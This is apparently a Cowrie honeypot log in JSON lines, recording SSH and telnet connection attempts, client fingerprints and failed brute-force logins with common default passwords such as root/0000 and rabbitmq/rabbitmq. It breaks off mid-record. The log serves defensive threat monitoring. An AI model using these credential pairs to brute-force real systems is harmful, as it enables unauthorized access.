{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:14.251245Z","src_ip":"160.187.174.22","session":"c2eda1a340e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:14.265069Z","src_ip":"91.92.40.153","session":"4511833fbd15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40034,"dst_ip":"159.203.135.109","dst_port":23,"session":"b312f0f0bec1","protocol":"telnet","message":"New connection: 170.64.224.25:40034 (159.203.135.109:23) [session: b312f0f0bec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:14.798504Z"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:15.933882Z","src_ip":"139.99.74.35","session":"81ca040d8e0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":33474,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eef49ddbd0b","protocol":"ssh","message":"New connection: 139.99.74.35:33474 (159.203.135.109:22) [session: 3eef49ddbd0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:16.182031Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":37838,"dst_ip":"10.17.0.5","dst_port":22,"session":"439d7a84b9a7","protocol":"ssh","message":"New connection: 91.92.40.153:37838 (10.17.0.5:22) [session: 439d7a84b9a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:18.308730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:18.515166Z","src_ip":"91.92.40.153","session":"439d7a84b9a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:18.518417Z","src_ip":"91.92.40.153","session":"439d7a84b9a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":41180,"dst_ip":"10.17.0.5","dst_port":22,"session":"5849bcf80864","protocol":"ssh","message":"New connection: 161.97.75.11:41180 (10.17.0.5:22) [session: 5849bcf80864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:19.312273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:19.316746Z","src_ip":"161.97.75.11","session":"5849bcf80864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:19.412575Z","src_ip":"161.97.75.11","session":"5849bcf80864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scroll456","message":"login attempt [root/scroll456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:19.702883Z","src_ip":"161.97.75.11","session":"5849bcf80864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwerty123","message":"login attempt [deploy/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:19.708440Z","src_ip":"91.92.40.153","session":"439d7a84b9a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:20.801593Z","src_ip":"161.97.75.11","session":"5849bcf80864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:20.948200Z","src_ip":"139.99.74.35","session":"3eef49ddbd0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":33502,"dst_ip":"159.203.135.109","dst_port":22,"session":"af047d264939","protocol":"ssh","message":"New connection: 139.99.74.35:33502 (159.203.135.109:22) [session: af047d264939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:21.159679Z"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:21.331819Z","src_ip":"91.92.40.153","session":"439d7a84b9a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36860,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc7691dc0c06","protocol":"telnet","message":"New connection: 170.64.224.25:36860 (159.203.135.109:23) [session: cc7691dc0c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:22.851927Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":42360,"dst_ip":"10.17.0.5","dst_port":22,"session":"60ef5de154d6","protocol":"ssh","message":"New connection: 91.92.40.153:42360 (10.17.0.5:22) [session: 60ef5de154d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:24.075250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:24.359186Z","src_ip":"91.92.40.153","session":"60ef5de154d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:24.362948Z","src_ip":"91.92.40.153","session":"60ef5de154d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:25.940688Z","src_ip":"139.99.74.35","session":"af047d264939","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":35790,"dst_ip":"159.203.135.109","dst_port":22,"session":"8215453c959d","protocol":"ssh","message":"New connection: 139.99.74.35:35790 (159.203.135.109:22) [session: 8215453c959d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:26.162835Z"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:26.429674Z","src_ip":"91.92.40.153","session":"60ef5de154d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:27.866277Z","src_ip":"91.92.40.153","session":"60ef5de154d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":42418,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad6e903e23ff","protocol":"ssh","message":"New connection: 91.92.40.153:42418 (10.17.0.5:22) [session: ad6e903e23ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:30.235812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:30.578190Z","src_ip":"91.92.40.153","session":"ad6e903e23ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:30.581998Z","src_ip":"91.92.40.153","session":"ad6e903e23ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:30.940621Z","src_ip":"139.99.74.35","session":"8215453c959d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":35812,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f7bbfa78ec4","protocol":"ssh","message":"New connection: 139.99.74.35:35812 (159.203.135.109:22) [session: 0f7bbfa78ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:31.188791Z"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:32.231359Z","src_ip":"91.92.40.153","session":"ad6e903e23ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:33.648095Z","src_ip":"91.92.40.153","session":"ad6e903e23ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:35.954937Z","src_ip":"139.99.74.35","session":"0f7bbfa78ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":39348,"dst_ip":"159.203.135.109","dst_port":22,"session":"170b7c8af44a","protocol":"ssh","message":"New connection: 139.99.74.35:39348 (159.203.135.109:22) [session: 170b7c8af44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:36.172740Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":35716,"dst_ip":"10.17.0.5","dst_port":22,"session":"a724f83bfc14","protocol":"ssh","message":"New connection: 91.92.40.153:35716 (10.17.0.5:22) [session: a724f83bfc14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:36.210349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:36.551243Z","src_ip":"91.92.40.153","session":"a724f83bfc14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:36.555324Z","src_ip":"91.92.40.153","session":"a724f83bfc14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:38.355403Z","src_ip":"91.92.40.153","session":"a724f83bfc14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":50846,"dst_ip":"159.203.135.109","dst_port":22,"session":"c23339757426","protocol":"ssh","message":"New connection: 160.187.174.22:50846 (159.203.135.109:22) [session: c23339757426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:39.165442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:39.170155Z","src_ip":"160.187.174.22","session":"c23339757426","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:39.412524Z","src_ip":"160.187.174.22","session":"c23339757426","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rabbitmq","password":"rabbitmq","message":"login attempt [rabbitmq/rabbitmq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:40.147619Z","src_ip":"160.187.174.22","session":"c23339757426","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:40.208357Z","src_ip":"91.92.40.153","session":"a724f83bfc14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00144934654236,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:40.216058Z","src_ip":"170.64.224.25","session":"0d893f9a7281","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:40.957607Z","src_ip":"139.99.74.35","session":"170b7c8af44a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.99.74.35","src_port":39392,"dst_ip":"159.203.135.109","dst_port":22,"session":"13661de01814","protocol":"ssh","message":"New connection: 139.99.74.35:39392 (159.203.135.109:22) [session: 13661de01814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:41.217624Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:41.544327Z","src_ip":"160.187.174.22","session":"c23339757426","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":54016,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e22ce46aa60","protocol":"ssh","message":"New connection: 91.92.40.153:54016 (10.17.0.5:22) [session: 3e22ce46aa60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:42.732952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:21:42.817462Z","src_ip":"91.92.40.153","session":"3e22ce46aa60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 